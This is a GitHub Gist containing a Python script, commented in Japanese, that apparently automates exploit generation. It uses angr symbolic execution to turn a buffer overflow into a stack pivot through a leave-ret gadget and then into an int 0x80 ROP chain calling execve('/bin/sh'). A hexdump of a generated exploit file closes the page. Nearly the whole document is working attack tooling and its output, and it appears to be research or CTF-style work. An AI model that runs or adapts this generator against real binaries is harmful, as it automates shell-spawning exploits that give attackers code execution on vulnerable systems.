Last active
August 27, 2021 05:56
-
-
Save mu-mu-mu/513d30aa810f7c9ad171d09b87f9df64 to your computer and use it in GitHub Desktop.
BoF -> Stack Pivot -> execve(0xb, "/bin/sh", {"/bin/sh",NULL}) をROPで実現するAEGを作りたかった...
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import argparse | |
import angr #angr8 | |
from angr import sim_options as so | |
import claripy | |
import logging | |
from struct import pack | |
from pwn import * | |
import angrop | |
bin_path = '' | |
input_path = "exploit.dat" | |
buggy_paths = [] | |
int0x80_addr = 0xdeadfeef # 0xf7de8d85 | |
def make_int0x80_rop_chain(eax, ebx, ecx): | |
p = angr.Project(bin_path) | |
rop = p.analyses.ROP() | |
rop.find_gadgets() | |
chain = rop.set_regs(eax = eax, ecx = ecx, ebx = ebx) | |
return chain.payload_str() + struct.pack("<I",int0x80_addr) | |
def merge_exploit(exp1, exp2, n): | |
return exp1[:n] + exp2[n:] | |
def get_leave_gadget(): | |
p = angr.Project(bin_path) | |
CFG = p.analyses.CFGEmulated() | |
target_func = [f for f in p.kb.functions.values() if "__do_global_dtors_aux" == f.name] [0] | |
return target_func.addr + (0x1b) #offset | |
def rop_gen(simgr): | |
for state in simgr.unconstrained: | |
sym_addrs=[] | |
for _,symbol in state.solver.get_variables("file"): | |
sym_addrs.extend(state.memory.addrs_for_name(next(iter(symbol.variables)))) | |
for _,symbol in state.solver.get_variables("mem"): | |
sym_addrs.extend(state.memory.addrs_for_name(next(iter(symbol.variables)))) | |
mems = [x for x in sym_addrs if x < 0xc0000000] #User Memory Only | |
print(mems) | |
for mem in mems: | |
cp1 = state.copy() # Stack Pivot先のStackを作るためのState | |
cp2 = state.copy() # Stack PivotのためのBoF-ROPをするためのState | |
# ここに execve(0xb, "/bin/sh", {"/bin/sh",NULL}) の /bin/sh のメモリ構造を作る | |
# sh_pointer が ecx 用 {"/bin/sh",NULL} | |
# binsh が ebx 用 "/bin/sh" | |
offset = 0x60 | |
f = [] | |
for i in range(offset): | |
f.append( cp1.solver.BVS('x_%x' %(i), 8)) | |
constraints = [] | |
sh_pointer = cp1.memory.load(mem + offset, 4) | |
constraints.append( claripy.And(sh_pointer == cp1.solver.BVV( struct.pack('<I',mem + offset + 0x4)))) | |
binsh = cp1.memory.load(mem + offset + 0x8, len(b'/bin/sh\x00')) | |
constraints.append( claripy.And(binsh == cp1.solver.BVV(b'/bin/sh\x00'))) | |
null = cp1.memory.load(mem + offset + 0x10, 4) | |
constraints.append( claripy.And(null == cp1.solver.BVV(0,32))) | |
if not cp1.solver.satisfiable(extra_constraints=constraints): | |
continue | |
# ここで,Stack Pivotした後に実行するStackを準備 | |
# dummy 4 Bytesの他は 基本的に Targetプログラムに存在するpop (レジスタ)系ガジェットを使用 | |
# angrop が勝手にやってくれる (make_int0x80_rop_chain関数内) | |
offset2 = 0x110 | |
m = cp1.solver.eval(mem) | |
payload = struct.pack('<I', 0xdeadbeef) + make_int0x80_rop_chain(eax = 0xb, ebx = m + offset + 0x8, ecx = m + offset) | |
c_bytestr = claripy.Concat(*f, sh_pointer, binsh, null) | |
f2 = [] | |
for i in range(len(c_bytestr)//8, offset2): | |
f2.append( cp1.solver.BVS('x_%x' %(i), 8) ) | |
buf = cp1.memory.load(mem + offset2 ,len(payload)) | |
constraints.append(claripy.And(buf == cp1.solver.BVV(payload))) | |
# 以上のようなメモリレイアウトを作る入力ファイルを生成 | |
bytestring = claripy.Concat(*f, sh_pointer, binsh, null, *f2, buf) | |
if cp1.solver.satisfiable(extra_constraints=constraints): | |
print("Mem map OK") | |
for c in constraints: | |
cp1.add_constraints(c) | |
else: | |
continue | |
####################################################### | |
# 以下BoFからの__do_global_dtors_aux関数のleave-retガジェットでStack Pivot | |
# Stackの移動先は next_esp | |
leave_gadget = get_leave_gadget() | |
next_esp = m + offset2 | |
constraints = [] | |
constraints.append(claripy.And(cp2.regs.pc == leave_gadget)) | |
constraints.append(claripy.And(cp2.regs.ebp == next_esp)) | |
if cp2.solver.satisfiable(extra_constraints=constraints): | |
print("Stack pivot OK") | |
for c in constraints: | |
cp2.add_constraints(c) | |
else: | |
continue | |
####################################################### | |
# 以下で cp1 で作ったファイルと cp2 で作ったファイルをマージ | |
# cp1 の方をConcretize | |
ifile = angr.storage.file.SimFile(input_path, bytestring) | |
cp1.fs.insert(input_path, ifile) | |
exploit_cp1 = cp1.posix.dump_file_by_path(input_path) | |
# cp2 の方をConcretize | |
exploit_cp2 = cp2.posix.dump_file_by_path(input_path) | |
# TODO: 本当はここでいい感じに(シンボリックに)cp2とcp1をマージしたい | |
# 今は人力 でマージ | |
exploit = merge_exploit(exploit_cp2, exploit_cp1, len(exploit_cp2)) | |
#cpf, s, res = cp1.merge(cp2) | |
print("Generated exploit code!", exploit) | |
return simgr | |
def exploit_overflow(bin_path): | |
p = angr.Project(bin_path) | |
extras = {so.REVERSE_MEMORY_NAME_MAP, so.TRACK_ACTION_HISTORY} | |
argv = [bin_path, input_path] | |
state = p.factory.full_init_state(args = argv, add_options=extras) | |
simgr = p.factory.simgr(state,save_unconstrained=True) | |
simgr.explore(step_func=rop_gen) | |
def main(): | |
parser = argparse.ArgumentParser() | |
parser.add_argument('file',help="File to analyze") | |
parser.add_argument('int0x80_addr',help="Find from the libc") | |
args = parser.parse_args() | |
if args.file is None: | |
print("[-] No file specified") | |
exit(1) | |
global bin_path, int0x80_addr | |
bin_path = args.file | |
int0x80_addr = int(args.int0x80_addr,16) | |
exploit_overflow(bin_path) | |
if __name__ == '__main__': | |
main() | |
""" | |
080491e0 <__do_global_dtors_aux>: | |
80491e0: 80 3d 48 c0 04 08 00 cmpb $0x0,0x804c048 | |
80491e7: 75 17 jne 8049200 <__do_global_dtors_aux+0x20> | |
80491e9: 55 push %ebp | |
80491ea: 89 e5 mov %esp,%ebp | |
80491ec: 83 ec 08 sub $0x8,%esp | |
80491ef: e8 6c ff ff ff call 8049160 <deregister_tm_clones> | |
80491f4: c6 05 48 c0 04 08 01 movb $0x1,0x804c048 | |
80491fb: c9 leave | |
80491fc: c3 ret | |
$ hexdump -C generated_file | |
00000000 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................| | |
00000010 40 02 10 08 20 40 01 10 20 40 02 08 08 40 40 40 |@... @.. @...@@@| | |
00000020 80 02 10 80 08 01 02 80 20 04 08 80 10 01 ff 7f |........ .......| | |
00000030 fb 91 04 08 00 00 00 00 00 00 00 00 00 00 00 00 |................| | |
00000040 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................| | |
* | |
00000060 64 00 ff 7f 2f 62 69 6e 2f 73 68 00 00 00 00 00 |d.../bin/sh.....| | |
00000070 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................| | |
* | |
00000110 ef be ad de dc 93 04 08 00 00 00 00 00 00 00 00 |................| | |
00000120 00 00 00 00 00 00 00 00 68 00 ff 7f 00 00 00 00 |........h.......| | |
00000130 60 00 ff 7f 0b 00 00 00 85 8d de f7 |`...........| | |
0000013c | |
""" |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
ターゲットのバイナリとint 0x80のアドレス(libc)を入力すると,ROPしてくるAEGを作った(気がする)